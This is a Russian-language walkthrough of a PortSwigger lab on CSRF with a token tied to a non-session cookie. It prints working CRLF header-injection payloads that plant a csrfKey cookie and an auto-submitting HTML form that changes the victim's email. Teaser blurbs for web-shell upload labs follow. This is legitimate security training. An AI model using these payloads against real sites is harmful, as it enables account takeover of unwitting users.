На странице
CSRF с токеном, привязанным не к сессионной куке
Лаборатория
CSRF where token is tied to non-session cookie · Practitioner
Решение
Дано: нужно заменить email пользователя, создав вредоносную страницу, попутно обойдя защиту с помощью CSRF-токена. Ок, изучим, как работает смена email.
Скрытое поле CSRF — 6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1. Смотрим, что у нас в куках: session и csrfKey. Интересно. Чекаем запрос на POST /change-email. Улетает email + CSRF из скрытого поля. И естественно куки.
Получается, сервер проверяет соответствие csrf-токена и csrfKey, session он не учитывает при проверке.
Вектор атаки: подмена куки csrfKey у жертвы и подстановка csrf-токена. Нам дали эксплоит-сервер.
Главный вопрос — как установить куку жертве? Как мне подсказал ментор, можно посмотреть в сторону \r\n-атаки и инжектить свой заголовок Set-Cookie, при учёте, что на сайте есть функция, которая рефлектит в этот заголовок.
Похоже, функция поиска — единственный вариант. Пробуем поискать wr3dmast3r. И правда:
set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly
Тогда нагрузка может выглядеть так — ?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F:
GET /?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP/2
Ответ от сервера:
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=hacked; path=/; Secure; HttpOnly
Для реализации полной атаки на эксплоит-сервере разместим страницу с iframe и формой смены пароля, который будет загружать страницу поиска с нашей нагрузкой, которая установит заранее подготовленный csrfKey в куки пользователя, в событии onload уже засабмиттим форму с заранее подготовленным csrf-токеном, и таким образом мы сменим пароль.
Форма:
<form id="csrf" action="URL лабы + /my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="TOKEN">
</form>
iframe:
<iframe src="https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F"
onload="document.getElementById('csrf').submit()}"></iframe>
Сделаем запрос на /my-account и получим ключ и токен для атаки:
csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi
csrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J
Итог:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<iframe src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F"
onload="document.getElementById('csrf').submit()}"></iframe>
Проблема, установлен X-Frame-Options:
Refused to display 'https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.
Можно попробовать img, нам ведь нужно только запрос отправить. Только обработчик будет onerror:
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()}">
Итог 2:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()">
Странно, чекаю на своём акке. Улетает наш картиночный запрос https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F, ок, ставятся наши куки csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;.
После этого мы сабмиттим форму, там есть csrf — g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J. И смотрим куки, опа, а тут другой csrfKey — csrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;.
Видимо, всё-таки не ставится.
Почитал, попробую поставить SameSite=None;.
Итог 3:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">
Отлично, протестировал на себе — вроде работает! Попробуем заслать на проверку.
Не понимаю, PortSwigger не засчитывает...
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.